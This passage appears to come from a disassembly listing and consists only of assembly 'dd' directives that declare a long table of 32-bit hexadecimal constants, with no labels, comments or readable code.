		dd 5C321219h, 0AC4810D9h, 3AD0EA0Eh, 6E5B6C01h,	0A9C86082h
		dd 0C9029C03h, 8C868B04h, 0B056F880h, 1245E401h, 169CA37h
		dd 2AD31C10h, 0B450A040h, 87B25D39h, 0C0D16354h, 0FED42AA9h
		dd 80008916h, 0A958E1A5h, 59B70023h, 0BFF1A239h, 0F305C64Eh
		dd 2694332h, 420DA470h,	5A2D03E8h, 7CE1CC82h, 1F14B94Ch
		dd 0D000178Fh, 0AABFC245h, 39036165h, 0C48A3450h, 0CA007E80h
		dd 0AEA8751h, 0FE6B2782h, 0C8F604EBh, 8401411Bh, 0E3F8014h
		dd 9502E012h, 92F47AAEh, 0A4B86802h, 20B113E7h,	0A3FC4101h
		dd 0C84894BAh, 0E89183AAh, 0F2603E81h, 0E880F79Bh, 6C6D6E7Eh
		dd 0B73BBEDFh, 87BF8054h, 0AFD88FADh, 463A009Dh, 4D839E17h
		dd 0D40ABA20h, 0E08E5E8Ch, 0ABFCE200h, 2691E922h, 1809E47h
		dd 0ABB4451h, 0F904A92h, 0C20F9F18h, 60A4DAA6h,	324CA3Bh
		dd 5A716925h, 8007D87Dh, 58F39363h, 51283310h, 18977DBCh
		dd 4882D577h, 150EC157h, 0E2A47E69h, 0C4E65F60h, 76F1040Ch
		dd 80EAD08Ch, 0A49512C5h, 52007C79h, 28EFB54Ch,	0F873349Ah
		dd 640609FCh, 4C055C3Fh, 929885B7h, 0ECE058FCh,	0CCFEF98Dh
		dd 13008E73h, 8E2EF36h,	846707h, 8A60C3C8h, 992C28A0h
		dd 0D38E9100h, 221F105Ah, 0CD810387h, 8A70EC56h, 2D78E0DEh
		dd 938BE900h, 0F2865C45h, 0B47F0059h, 0AC8A9AEAh, 7707E8B9h
		dd 36062697h, 6CD09644h, 0A90C5EE9h, 68605AA0h,	0CD6B1D49h
		dd 90800158h, 58227DEBh, 697496F8h, 785A9A00h, 3DA2DBCBh
		dd 898B0341h, 1BC3AB7Bh, 0F1B29000h, 0CC861E63h, 2B0407E0h
		dd 3032DC42h, 1393DBD2h, 0D8F05F51h, 900A911h, 694F024Dh
		dd 90C5F01Fh, 2F3A00E9h, 8BF813FEh, 4894C3E9h, 4A12E58h
		dd 8F9268D1h, 6770C873h, 7EFB8D00h, 0D6D8390Dh,	0E66E0101h
		dd 7B69D7DAh, 997AF0CEh, 0F3A480A0h, 0F45B8512h, 54256071h
		dd 14640DAh, 17B91E0Fh,	59D9F3Fh, 9080BE03h, 4DFBF554h
		dd 0ACDDF802h, 80D7B19Fh, 8537B2ECh, 4F3039B5h,	7582A8DDh
		dd 3A40319Dh, 0C305A053h, 4F4C9C22h, 0C1E52090h, 0A02182Fh
		dd 3776D064h, 276D2200h, 0A9D446E7h, 0FE3D392Eh, 0A88D4A85h
		dd 34588080h, 82F0894Ch, 1395213h, 93976C40h, 1531965h
		dd 3681A076h, 0F80599E7h, 0E500A6DFh, 82083223h, 7DEF8Bh
		dd 2D241601h, 0FC6DE913h, 24028028h, 12A5C900h,	9AD4359Ch
		dd 64B31298h, 9018400Ah, 8640CBABh, 0E8FDA17h, 80A27841h
		dd 0B040B8EEh, 0C6AB7A8h, 549D9744h, 8E00D8E9h,	0A72C5804h
		dd 603BCCBFh, 7EA35101h, 0F438F2BEh, 0B4678442h, 78800233h
		dd 1ED308Ch, 99163DF9h,	30E8AD17h, 0F4BA9708h, 9C259200h
		dd 225CFE30h, 9C11CC7h,	5E738113h, 21F26EBFh, 0BCB3F80Ch
		dd 0B79D5100h, 0A94771C0h, 6A6013D1h, 43541D77h, 3EB453C8h
		dd 9D033F98h, 9322EC00h, 16D17EEh, 15E603FAh, 67EB102Bh
		dd 1AC47EB8h, 699F3E0Eh, 654E075h, 0E086AEF7h, 3B7900CEh
		dd 0D6E7BA1Ch, 7528434Ah, 0F30480E9h, 0E50D02EFh, 5CCB0C8Ch
		dd 451374D5h, 6470090h,	93186FE2h, 4169B505h, 0A80082B3h
		dd 1988F4A5h, 1EE7E9Ah,	0B629814Dh, 35B030B2h, 2844EA94h
		dd 8D638F13h, 0FB6A1C02h, 149C4890h, 56727Fh, 0E21CAE7Bh
		dd 0BD3BF593h, 0AB200F1Fh, 2F70DC84h, 525D2480h, 0B87B62h
		dd 0BAD0849Bh, 9A4E19EAh, 900C224Ah, 2E2C02Ch, 721C9242h
		dd 4C5E988h, 6FF11004h,	2DE49891h, 321D4h, 0ADF5894Eh
		dd 965466B6h, 4857FC39h, 21D60968h, 9F082047h, 58E3CF9Ch
		dd 5F02A489h, 0C8648649h, 62E818C0h, 0B9DBAC00h, 74931F59h
		dd 0A9A000E9h, 65516FBAh, 23090895h, 0B8263B70h, 0EF9EB1Ch
		dd 0F0BA589Fh, 0A8FD68C0h, 0EE00CE42h, 56F64641h, 9854FBC5h
		dd 0A360F94Dh, 298700F5h, 41834F88h, 0BB045EA6h, 0FD7C666Bh
		dd 0E2AE1C80h, 1A913A5Dh, 96008DCCh, 0C4FA76EEh, 0A100FF43h
		dd 706D0B7h, 4B919064h,	80303469h, 2011827Bh, 0F98F2F1Dh
		dd 5D00849Dh, 0A24B7DECh, 0C94ABh, 74E872EDh, 620070B5h
		dd 0A33C2E52h, 0F236CFD2h, 0E17560FAh, 0A2FE9415h, 802FD60Eh
		dd 0F4E20C9h, 169D427Ch, 710A3B4h, 0E0F80678h, 2D4D08CFh
		dd 3E7F6700h, 0B2E1DBE2h, 0D14C000Eh, 38C434BCh, 3903B8DAh
		dd 63E0AD71h, 65F982F6h, 33C6805Ch, 4337F41Fh, 35F7E100h
		dd 0BE8AA0ABh, 56540E49h, 5F202AA1h, 793A6A12h,	0F018CA5Ch
		dd 0F4DE4FFEh, 0AFA109BEh, 244502E5h, 6C1D050Fh, 6E0855h
		dd 8F7B5628h, 1161A2CDh, 0BA3B50F0h, 11500FEh, 2A554619h
		dd 0CA4D0AFFh, 808C71E0h, 0C425A7A2h, 1F14D1E3h, 0A1340154h
		dd 4602427h, 106E58F3h,	51E19AA3h, 844641Bh, 0AD5D2D72h
		dd 0A37F0094h, 0A78F8DD8h, 9D3F00F5h, 0B8E95730h, 182E6E16h
		dd 3D58ECBEh, 592C02E3h, 81DEE182h, 8F002C79h, 1CC8721Fh
		dd 2FE9005Fh, 0E66F3FD4h, 271608E1h, 7507FEF3h,	90046A2Bh
		dd 979B4880h, 201B0305h, 9EB9E346h, 2509D9C8h, 0EF563C00h
		dd 756D722Ah, 74815h, 800738Bh,	0B695A696h, 0F0C03Bh, 0A8D8AB19h
		dd 547E7644h, 5B7F837h,	8B17E0E9h, 62BD8264h, 83005C5Ah
		dd 543B1DB3h, 2A47D0A9h, 2698F64Bh, 13D28B7Ah, 24D81D87h
		dd 0A045020h, 20A959h, 7C57F51Ch, 1364DAE1h, 4EBB7F42h
		dd 0D6A03520h, 0D087F436h, 0E4808503h, 0A9F3E751h, 0A4355C4Bh
		dd 144CEC37h, 0AF00FC90h, 611ACAD1h, 5602FB2Eh,	2D1BD0A5h
		dd 71982012h, 28B05989h, 0FE407F18h, 2E7D7419h,	29307CDAh
		dd 3DEC05Ch, 0C8B251FAh, 0E07C4D06h, 3D10C75h, 8AAB4990h
		dd 0C9066CFAh, 0CCB6209Dh, 0A4251321h, 0DBF48058h, 0BD0010ACh
		dd 8E670A2Bh, 70F5C6h, 681DDF6Dh, 761FE749h, 3314EB1Fh
		dd 0CB9E4640h, 0C0B02089h, 19C7D2E1h, 3300025Eh, 3BD76657h
		dd 0C0321Fh, 9D7678D4h,	0BAE58788h, 67B9DF00h, 895905D2h
		dd 1FC93AFFh
		dd 0F9E0F08Ah, 4C818ECCh, 4C02D98Bh, 9CC099DCh,	5609E698h
		dd 8411FF3Ch, 7CF4C124h, 827700EEh, 0BE4716C0h,	897619CAh
		dd 0DC8FB42Eh, 5734A70h, 0E8011A5Ah, 3F844006h,	7AFDE1B6h
		dd 0D5485800h, 0F3BB7408h, 7B633169h, 10E341B9h, 0C0302AB5h
		dd 836BAE11h, 0F200715Bh, 422C644Ch, 48028E04h,	6900A476h
		dd 0A465C8AEh, 2F4FEBDCh, 74F7D441h, 0F18135B4h, 3EA094ADh
		dd 0D665DCABh, 0EE138F0Ch, 1272E80Eh, 0E775B33h, 0CAE067DCh
		dd 9EFB6D09h, 0D8616C30h, 844AF0h, 0B2E76385h, 22982BADh
		dd 3788648h, 4131E05Ch,	53E5888Ah, 37015A38h, 0B8EA909Ch
		dd 38923617h, 0C3A2B700h, 0D457199Ah, 30591025h, 279400F0h
		dd 0FA353689h, 0C6A2095Ch, 2CC0E2CBh, 1E60661Bh, 0A6E6A129h
		dd 0FE10A4A3h, 7CB1123Fh, 90FC0474h, 305380EEh,	0F15ECD2h
		dd 0C4A067h, 7458FA1Fh,	0C9A557h, 0CBAA42EBh, 28922D2h
		dd 7A13D8A6h, 348CC313h, 0D6D1507Dh, 0D7410015h, 2FC48C94h
		dd 9CA07367h, 24646829h, 0C0F787A1h, 0D248EC18h, 0CC4C3723h
		dd 207A2764h, 6AB166A4h, 2A16748Ch, 12D85697h, 0D4F488CAh
		dd 0C390C0CCh, 0CC0189C1h, 58846096h, 0DC21A3A2h, 0E059CC53h
		dd 0B06DBCC1h, 41CC09ACh, 6005B838h, 5164C133h,	0CC5FC914h
		dd 90174007h, 7420260Bh, 0CF387993h, 0BF847179h, 0CF60B047h
		dd 0F96B3509h, 0F6702192h, 8220FF80h, 6B749925h, 7AC0AD02h
		dd 1F92046Bh, 0B4250055h, 397E74BEh, 1B009085h,	8280D764h
		dd 584CE0D6h, 695C543Ch, 0D45FFA0h, 0B92E5100h,	4BA751Bh
		dd 0AAA23A18h, 793F3786h, 0B0007040h, 0A04B5024h, 5DEE14h
		dd 4F63D903h, 4A392FACh, 0E7C7F600h, 75D5CAB6h,	1380E0B2h
		dd 3138D706h, 2484F7E8h, 67002914h, 0B212C98Fh,	15B79F37h
		dd 0E8113236h, 0A48A7500h, 0FBC96197h, 90D47827h, 448384h
		dd 0E2A90E9Ah, 3DFFC086h, 0BF014CB2h, 0BCC4753Ah, 0B4200B7Bh
		dd 0EE723B43h, 0CD4B0207h, 0F631D04Dh, 0E600CFADh, 1417D9DCh
		dd 1EF594FBh, 0C4FDB6CAh, 80F28784h, 0F490A0F4h, 32C14300h
		dd 0D18D3D4Eh, 33B4A092h, 1829060Dh, 681A679Ch,	636E2F00h
		dd 0A00291B8h, 452803C2h, 218BECB5h, 100E2000h,	0CCFF9407h
		dd 0D84E007Eh, 2BA3D5BAh, 95E69D44h, 0FC49797Bh, 733C60h
		dd 0E789CCE8h, 0AD2925h, 0E4713509h, 9DDE385Eh,	8CA95030h
		dd 0EB6654Ah, 0B9E03198h, 7D3D4F40h, 120EE3F4h,	2014B20Fh
		dd 0E85E22D8h, 85C60071h, 0D4889F1Eh, 0D904F746h, 6F3310FEh
		dd 6170C0AEh, 5216B5ABh, 0C8D8C865h, 59DD267Bh,	68D829B0h
		dd 0D5CC4014h, 0D2007B76h, 2C185B64h, 8B4672h, 3BFAC8FEh
		dd 0A2C267F6h, 0F500DF74h, 16A35B41h, 4D0607E9h, 288FEC29h
		dd 6C208769h, 18AE54FCh, 63D79802h, 0F8027EF1h,	0D4F52CC0h
		dd 0C8D30054h, 0DCD11F79h, 0D700E094h, 0F63548E2h, 0D351242Eh
		dd 0C2250F1Ch, 0CCB44052h, 0AED83936h, 175BF88h, 7F22C08Fh
		dd 0DCD3C23Eh, 4FF2B341h, 172E5314h, 0E3B203E4h, 26EDA74h
		dd 16A96098h, 64D85E8Eh, 0C8D712Eh, 0D568E04Bh,	633D00DDh
		dd 248EBF90h, 81C051BDh, 0D9612FD1h, 855C00D6h,	15F2F193h
		dd 0FF481F33h, 1E940098h, 0EE7451B2h, 689C001Dh, 76C4D169h
		dd 0B004CCAh, 236A299Dh, 3E2CFh, 0EE187F0Eh, 0C0136FCDh
		dd 6D95C814h, 458700D5h, 66F5A262h, 92E20041h, 5BD20813h
		dd 0CD001C6Eh, 800F4A69h, 3D0136A4h, 0CE001828h, 170BDAFEh
		dd 7639617Bh, 1E7F9814h, 1F0F0320h, 0C0BBB6C3h,	0B981EF49h
		dd 4001B386h, 0CE7E0A47h, 0E8F3EA24h, 0CA0ADFAh, 0F0E76F6Eh
		dd 0BE0062B8h, 0D9E8BCC2h, 301C6DB4h, 0FB797769h, 0C3E68AC6h
		dd 782D2B00h, 9B0E8082h, 0F8FC0033h, 5AFEADEFh,	270002F0h
		dd 14C3BCC9h, 90F2BBh, 9F041CFDh, 2FAA0D24h, 0B6C94506h
		dd 4146F4h, 0F5417EC2h,	0DC1BE1F2h, 367266F4h, 4521C660h
		dd 2A2C101h, 5993E02Ah,	0B4A2FE98h, 22E03A7Dh, 0DD071F6Dh
		dd 0F98D2D58h, 0A6E207F0h, 4BF2001Ch, 0A00E66F8h, 4E029D01h
		dd 24F17490h, 4603C0EFh, 536E0CD7h, 0CAB0BD67h,	3291300Eh
		dd 4F6AE726h, 789EC790h, 68CD050Ah, 405CEB5Dh, 13AFE0D8h
		dd 1B0093D0h, 3F4E0D2Fh, 0A11968h, 0FACFF5CEh, 0C156377Bh
		dd 420F8A01h, 0D9256127h, 1C47C8DCh, 0C0D0D175h, 38E0A448h
		dd 0FE79286Bh, 8967A00h, 0C8490736h, 0C1D400DDh, 765D6AEFh
		dd 6B013973h, 88BF2F31h, 0B02097E1h, 9C6F1E42h,	0ADA8C540h
		dd 2737803Ah, 50006E1Eh, 60704121h, 0E2FB25FAh,	45061403h
		dd 2860E838h, 9B0F2019h, 17604900h, 43165C8Dh, 0DFF695h
		dd 81B3C944h, 0D054A34Dh, 0F067A63Dh, 0BA4C5A00h, 1B4F5312h
		dd 4AEB0071h, 0EE1A6160h, 0AC0FB68Eh, 6CAAC5D5h, 3F8CB074h
		dd 9D00076Ch, 3AEB7679h, 680CBA63h, 18027A6Fh, 0F867013Dh
		dd 0D0B6BEFFh, 0B4804C64h, 8EE9A538h, 0AB9CD30h, 6A01C7B2h
		dd 0F4ADBED2h, 70438040h, 2E3F009Fh, 340B38B7h,	581CEB48h
		dd 0C453AE6h, 0B0038AE0h, 0D8DB4964h, 1C577F54h, 200114h
		dd 0E455B0Fh, 6F182805h, 67A1EA72h, 0A5224870h,	0C7485500h
		dd 283F3817h, 32660700h, 0CFF16BFDh, 0E02930B4h, 23A8A630h
		dd 9CF6B30Bh, 81EA0F32h, 0E30F609Eh, 3C5FDC50h,	891C0026h
		dd 0A7E80771h, 4FE05277h, 0AB142B14h, 0E3C68098h, 176AAA1h
		dd 28124425h, 0E89D94E0h, 0E400AB32h, 85092D55h, 0D22AB2h
		dd 4178720Ah, 6090610Fh, 63DF1500h, 0DE9EF826h,	0AD832AB5h
		dd 187253C0h, 4C731403h, 791F12E2h, 5F1F8885h, 0E1B4AC3h
		dd 0A42CD956h, 15D08857h, 1B5FD92h, 53613B35h, 0C86C7D38h
		dd 3E009D25h, 2EB12804h, 83FC2Dh, 0CA19411Eh, 8A59E9DAh
		dd 138B9002h, 4E169EF0h, 54310350h, 4BA81926h, 0E4C78900h
		dd 413F5EA4h, 40E760E8h, 2B51F64Ch, 370DD209h, 24370F8Bh
		dd 1490885Eh, 3048DA06h, 0E8115A45h, 0E204173Bh, 7CF53653h
		dd 0EC7B949Ch, 245B480Eh, 0C6DE3507h, 5E384CDFh, 25F2D101h
		dd 84232747h, 0FE111E0h, 6F6B3654h, 0E26A3880h,	0B8095AC3h
		dd 20BFF39Eh, 151A118Ch, 0FFF4196Dh, 50E3B83Eh,	0D42D1D4h
		dd 1C87C8A8h, 0D30118EAh, 4D61FBE1h, 0B3C8DD01h, 58BFF8E2h
		dd 3C60F214h, 1960BDF9h, 9325A900h, 0A462358Ah,	371A009Ch
		dd 0C9A52D89h, 59F4DF98h, 0BA9FB518h, 3B9A45F9h, 8B1DE76h
		dd 0EC598610h, 50282ECFh, 0B00A018h, 0E448171h,	2216F92h
		dd 3189063Ch, 5448E804h, 0F2A616Ch, 2006FC84h, 0F248A936h
		dd 7A73A8h, 641C7657h, 0FDA6EC32h, 52A458h, 0E92A86B1h
		dd 0B25C79h, 20E756EAh,	34800CD0h, 1964A39h, 1A4BD8C8h
		dd 0F4226470h, 0AAB77781h, 831184BBh, 71C3E7BEh, 47918843h
		dd 57770068h, 93162A01h, 5300E90Ah, 86D4AB5Ah, 24FF183Bh
		dd 6E4C5181h, 586826C2h, 5F2F3020h, 426983Fh, 0FA508655h
		dd 0BC8E15h, 40EB0294h,	8CBE5Eh, 11377627h, 1F77A2BAh
		dd 35F3FB0Ah, 8481E802h, 120550FCh, 198EFDD4h, 0B1DB1160h
		dd 2A98401Bh, 0EA00FA99h, 94AC4FE8h, 3D2BD6CAh,	7400A017h
		dd 0F2D5BF2Eh, 0F50F0D31h, 0A01B7AA5h, 5CA2E353h, 1AC00002h
		dd 0DC4F6F1Fh, 0C200BC5Bh, 369350D8h, 4C7911CCh, 0CE005053h
		dd 81456AD6h, 7D0068E5h, 0BF72B81Ch, 1F706C3h, 0E7945FB3h
		dd 0FCD1335Dh, 1298A6AAh, 0F29F230Fh, 603605D2h, 6CC0801Ch
		dd 5C67EC05h, 0F0A008Ah
		dd 854F3DF0h, 11012F8Ch, 91E92B1Eh, 0F6AAAA3h, 80F2C9ADh
		dd 6E7148F5h, 0EAEB7B02h, 68615EA3h, 2AC2FECCh,	980744h
		dd 187EBD4Eh, 5DB71158h, 0C6734712h, 32DD0C07h,	0F30D84F0h
		dd 66F73934h, 0FD819E0Fh, 9311C07Ch, 0DF7383E4h, 8A06FE13h
		dd 616F3044h, 0E00478CBh, 91F77AA8h, 8F433660h,	804E1DA0h
		dd 0A286148Dh, 4540437h, 90448ADBh, 1F1C2A80h, 0F4A949C1h
		dd 0C242FC3h, 80A848ABh, 8AC05C48h, 94AADADDh, 5D0B3D0Fh
		dd 0FE01966Fh, 0F3A690FAh, 0C09EC2FEh, 0C35A9CFh, 999E8C21h
		dd 0FE0519E8h, 0E025346Dh, 68C088h, 703F1F4Eh, 0C721F66Ch
		dd 0D9902702h, 4031B614h, 1CFC52B5h, 1E1F6ACDh,	9DB884E4h
		dd 4845C09Ch, 5129FB3h,	9C011835h, 82688BDCh, 12E37860h
		dd 0AC0160C0h, 0FB8E011Bh, 31049BBFh, 0E0430h, 40108C36h
		dd 2A71791Fh, 1DD35B00h, 8D44AB96h, 7C974D3Bh, 2805324h
		dd 2231A187h, 831EECC6h, 41C29F3Eh, 4287CC16h, 173440D7h
		dd 119B00CDh, 702CB19h,	63752C65h, 20268C91h, 68241F00h
		dd 0E0134AA1h, 2AD4906Fh, 0EC04906h, 57B90AD3h,	3E27F560h
		dd 3C24A073h, 2D1F9092h, 0E9E15D85h, 0F41DA000h, 0C325F936h
		dd 431A8338h, 0DA075B98h, 756834F7h, 552B23Eh, 0C1387B4Eh
		dd 406E5BC0h, 0A383143Ah, 22009C51h, 0BF5D8105h, 32F478C2h
		dd 2588B349h, 2613760Fh, 85830026h, 0BA6273F6h,	1B04CCE6h
		dd 7E0196B7h, 74388Ch, 0B4D7EFCBh, 929BD3EDh, 4A864103h
		dd 5821B36h, 609154BEh,	81B4C42Ah, 20903E5Dh, 0CCA01D30h
		dd 16587309h, 8A8000EEh, 156D702Fh, 0BCAB5606h,	18909C1Dh
		dd 8F47F9CCh, 0D596570Bh, 8131881Eh, 80E2F20Ah,	2A3B5E81h
		dd 283401E5h, 4C9A050Eh, 58480B21h, 0B9F676B8h,	0D361A507h
		dd 0A3B60201h, 0F41B7630h, 0EEEB1779h, 0B200173h, 343F2C41h
		dd 1E7BB9D4h, 0C7F9B106h, 9A8194D3h, 713C06B8h,	782D3E9Eh
		dd 65833101h, 7D99E9F1h, 946DC034h, 2BBB000Ch, 0FF4D5A2Ah
		dd 5717200Bh, 6BAC003Fh, 30628D25h, 0D9715F4Bh,	707C4A3Eh
		dd 0DC4D361Ch, 3D606F80h, 4930C0E4h, 6C0E9453h,	10ECDA03h
		dd 413B9AE1h, 5C690A2Ah, 7183D4D4h, 75F91C66h, 94050068h
		dd 58C8CD14h, 65518817h, 72A193D5h, 5D51FC00h, 2461AD55h
		dd 1606821h, 0A15D51Eh,	0E88C302Eh, 449AA00h, 44405E2Ah
		dd 26789DBCh, 751D3904h, 8090E7ECh, 84D14h, 0FFFA669h
		dd 6E65CB01h, 7137580Fh, 50FBC0C3h, 2C5B8FEAh, 4168423Fh
		dd 0F541E309h, 666ECCEBh, 0AD5BA400h, 0C885CAF8h, 0D2E90465h
		dd 0C0701152h, 0A81BA39Ch, 0B0DFFF01h, 0A1D9DD41h, 0C185B863h
		dd 92B43069h, 10000A8Fh, 704D9FBFh, 15627842h, 0A45A0D1Bh
		dd 0D1EFDC04h, 24A15Eh,	90114CD3h, 2E461A01h, 476780FDh
		dd 7C35C03Fh, 9302EDDEh, 1A70F74Fh, 2C786ED9h, 8BD05235h
		dd 0BA006D31h, 0E7FD7266h, 20EB4671h, 0FC7D8580h, 3AAB3404h
		dd 0F8C2F8F4h, 52984053h, 14C0010h, 30AA9E66h, 0B514477Ah
		dd 24803881h, 2C0644C2h, 0F16E51h, 7F5BEFECh, 0CC172728h
		dd 2DEA6F00h, 0CFA3F115h, 292460F5h, 0B94B848Fh, 0EC437509h
		dd 0C0348D5Ch, 5981F810h, 0ACE0490Ch, 0B18D190Bh, 0F320B4A0h
		dd 702680A2h, 6803703Ah, 0AD9A721Ch, 0EA19A7C0h, 4855070Eh
		dd 125FB418h, 44489925h, 92183816h, 0CD60E71h, 746EEFCh
		dd 0DD2A58F9h, 4235618Ch, 945EF0E3h, 10061F4h, 9C84A077h
		dd 0F95DA0Bh, 0B66549DFh, 4F80BD0Fh, 69EAA8A3h,	0DD002973h
		dd 0CA0DF22Ah, 50C30FC7h, 965F8A2h, 96703023h, 149A40A0h
		dd 7E05314Eh, 4038E924h, 555BC003h, 307CE808h, 11CCFD5Eh
		dd 0D0D94810h, 40C01F2Ch, 0A7C3F53h, 0A542E40Ch, 268602Eh
		dd 3B5CBC0Eh, 0C0C03172h, 87002819h, 0CC8C283h,	1DFC131Eh
		dd 40BAC5A4h, 0D925692Fh, 88925977h, 0C835082Ah, 5DEBF204h
		dd 408028E9h, 0A8931F31h, 126309Ch, 6FE0F2ACh, 28FEAFCFh
		dd 0C1F45C00h, 41732B8h, 240CAC30h, 2CEC8970h, 0A23B4008h
		dd 78136940h, 100EFE5Ah, 0B822CA79h, 7A60E281h,	80F60D3Bh
		dd 1BEBEA20h, 0FDD386Bh, 58F396h, 9E468072h, 0A33C8FEDh
		dd 2BB99626h, 73359C01h, 5872CD13h, 86243E00h, 6AD4A2A0h
		dd 5F0DDE1Fh, 89CB8BC7h, 3B6BDF70h, 94D0B01Ch, 0DB494F74h
		dd 4CBC4F00h, 0E494BAB5h, 83C15C2Eh, 9850FBEAh,	0FD5D7Ah
		dd 0C7DBCB1Ah, 25CADF03h, 0B6032FF6h, 5A90E0BFh, 68905407h
		dd 3D280027h, 0ABC8C1D2h, 9505D098h, 53A7D1B5h,	6B41D491h
		dd 4D8B62DCh, 26007409h, 0F8C38E4Ah, 840050D1h,	52459B44h
		dd 0E054F78h, 69F3B52Eh, 7ACFDF60h, 1171E234h, 9D3B5900h
		dd 71FC2353h, 2C032B36h, 83DD02ACh, 5460F7DAh, 0AE541E2Ah
		dd 33182BF4h, 0EBE1715Ah, 883F00F0h, 48860A23h,	29C174FCh
		dd 587D4511h, 0C7007828h, 7A07E5DDh, 0E14AD253h, 26761800h
		dd 17C92238h, 988C011h,	8818D1A8h, 35040E9Bh, 7D3C52Eh
		dd 272994B0h, 34A17B15h, 2C3316FEh, 9C50B11Ch, 9EDE0C34h
		dd 0BB9678h, 0EA6D5B0Eh, 90141FD4h, 2991A15h, 58162AE2h
		dd 0EE5C4A3Ch, 9D830764h, 505B4FCBh, 6D82FAE3h,	3C2AF32Bh
		dd 6005598Fh, 0ACE686A8h, 54D94E19h, 6939CCD0h,	44A22C00h
		dd 0EDA12577h, 245D0E1Dh, 5480E093h, 1756A9E9h,	561E0316h
		dd 47681F4Ch, 303E3C9Dh, 0B2B32785h, 17630400h,	0C84AC247h
		dd 455C00A9h, 1B2F38B5h, 4D06568Ch, 175B8615h, 19E7241h
		dd 0C5ACFD32h, 80AD0AEFh, 0AED08038h, 28586B33h, 0ACCEF3h
		dd 2FF7A3Dh, 0BD313B91h, 1C98E8ABh, 0C4B86493h,	0D0233000h
		dd 2E40FF79h, 2FBB0018h, 0F38E04Fh, 0BEEECF28h,	6C0089ECh
		dd 66A0E8F0h, 3F4FFEh, 5D2D4892h, 9B0D3049h, 0F0AF4100h
		dd 0E1FB5C8Ah, 4317246Dh, 22AD812Ch, 808D7601h,	65866911h
		dd 96BA16h, 72C91BBCh, 0F6954CB3h, 0C749E00h, 3E512950h
		dd 0E0B200CAh, 0BB1E1AB9h, 2F072E41h, 3B07FAAAh, 7610C8C7h
		dd 0A0968h, 8155259h, 0F4CD535Fh, 176A58h, 0C55B9307h
		dd 0A882DCh, 0FB155D31h, 0B689767Eh, 0DD0672E2h, 0B816A5E2h
		dd 0B5930068h, 87A8BC18h, 8A000AFBh, 7DCAC7C8h,	1FB2F256h
		dd 81CF116Bh, 0D1ACB854h, 40208F89h, 5E21A0B6h,	3B75378Eh
		dd 3300EBDEh, 1245C40Bh, 9F0072F3h, 9CD62C94h, 0BE34CFh
		dd 0A3146D81h, 6BA01CB2h, 71A8650Eh, 2C117844h,	0DA50032h
		dd 0CC5BB523h, 1A0304D0h, 0A8C7C0BEh, 0D7CDC87Bh, 0F4BDF629h
		dd 8F430002h, 5A62117Ch, 23031938h, 9E9576Ch, 84B80BABh
		dd 8820FD4Dh, 0BF14261Ah, 82122700h, 2E22CA3Ch,	50701C57h
		dd 1EE40C7h, 3A0C9140h,	0EF636B01h, 513993E7h, 0CB219Dh
		dd 0FACABA1Fh, 52652D38h, 3880C019h, 18D016C4h,	0F8E10641h
		dd 0FD004B88h, 0E59E5648h, 8224ACh, 2FD8F78Ah, 91BB0861h
		dd 0E6204A00h, 86E83C8Eh, 9638C0E0h, 0A9BE162Fh, 583AC0C7h
		dd 9D372070h, 9877984Bh, 366224ADh, 751DCBh, 0BE6BF0A3h
		dd 0B000D2A7h, 923DC8F7h, 0CD16AEh, 0E544E97Fh,	0A29E7B53h
		dd 0B4B8820Fh, 0D407C02Dh, 514859h, 0FD1431C2h,	4A4950C5h
		dd 1F1CBF00h, 9D68BF8h,	23550054h, 13646837h, 4E0C5908h
		dd 106E3822h, 532A0005h, 0CE4BC774h, 1200FDF2h,	0FCF5E09h
		dd 0F0E1B5C8h, 0A23C0092h, 0E5E7067Ch, 88C5F0C0h, 1CB02B13h
		dd 45353D61h, 9DB82300h
		dd 0EF9D98Ch, 8F2D08BCh, 90200120h, 4DC8C446h, 0E61EFE80h
		dd 54D61738h, 3214003Dh, 6FCD357Dh, 157179F0h, 5F2F811Eh
		dd 0F8A860C0h, 107BA83h, 0F9E8E0E7h, 0E1E1984Dh, 0F08840B6h
		dd 62ABDC9h, 4FF1907Dh,	6AAB0C04h, 376010DDh, 0B85966D0h
		dd 47F6FA8Eh, 0C190A8EFh, 19A1983Ah, 2969205Fh,	44C608A7h
		dd 3B45EDF8h, 93115EFDh, 64710DFh, 8D981F0h, 6F75445Bh
		dd 1C16EB88h, 40229252h, 2FD6C20h, 18009034h, 0FA6D2738h
		dd 139B3903h, 0EAC14F66h, 567BB000h, 0A3CE12h, 0A6F6DB2Fh
		dd 6E3D226Ch, 0AC343001h, 29C464FBh, 0FA1E1070h, 23D31F18h
		dd 2E980F3h, 64A48A8Dh,	953F5500h, 0FCE093D4h, 364A0BCDh
		dd 80FD1699h, 0BD8AA3B4h, 0AAF23805h, 0E6AC0700h, 69E41DB3h
		dd 5288270Eh, 20FA61E5h, 9B200E71h, 0CACE039Dh,	60A2ECEEh
		dd 7876D7D0h, 20410F01h, 3FCDFBBBh, 94FFF9C3h, 4C6BD6E4h
		dd 0B9072893h, 0A0FE9D7Fh, 0D7E9E13Ah, 0A3735E14h, 1E4400DCh
		dd 2D9E1CD0h, 75A00065h, 0B301276Bh, 0DB1FFA09h, 0FC47671Dh
		dd 9FA09A59h, 2A8C1Fh, 0E6E2516Bh, 262E106Ch, 0BA00E098h
		dd 189C795Fh, 0EEAE7CBh, 0CDA79FB1h, 0CA41D460h, 710024EDh
		dd 277DAF5Fh, 211F97h, 0F5139868h, 4023AACCh, 9F6F6900h
		dd 25952E1Eh, 0A5143BB8h, 8D98650Fh, 0C91548E0h, 5D00B14Bh
		dd 0E6DAD233h, 7C607D5h, 542C7F8Ch, 0AC08A0C8h,	0CA16C4A4h
		dd 0BD03912Bh, 781EB2h,	0F17C4048h, 759FEC17h, 0E1334A12h
		dd 1D726041h, 6420C250h, 869200F1h, 0CC3EABD5h,	4E01013Fh
		dd 60ED046Dh, 0C8FE1A26h, 2C442F98h, 0AB18C2h, 256E864Ch
		dd 0D00A4E8h, 8C3FB911h, 0CC2AE3h, 42AA10DCh, 0F22E2761h
		dd 753DA200h, 0AED97F77h, 0E8EC55h, 81F6A49Ah, 0F8DC1B5Dh
		dd 0AAC06A00h, 2717EEC6h, 96CE0153h, 0C4E9D989h, 932C2193h
		dd 9800BBD0h, 32F4045Dh, 20171ABh, 0C30FCACh, 0B07C7149h
		dd 79C01E1Dh, 0CE5475A1h, 0AF670082h, 0B6C33ABh, 3F0103A9h
		dd 0E6236260h, 8840F157h, 0E2EE7069h, 30BA2E9Eh, 0F4307A8h
		dd 0E92A40BDh, 35F83778h, 0DBE53A00h, 97D3AA28h, 0A8B900B4h
		dd 33274DC5h, 395C0D74h, 80053EECh, 11AF4C71h, 95EEA0h
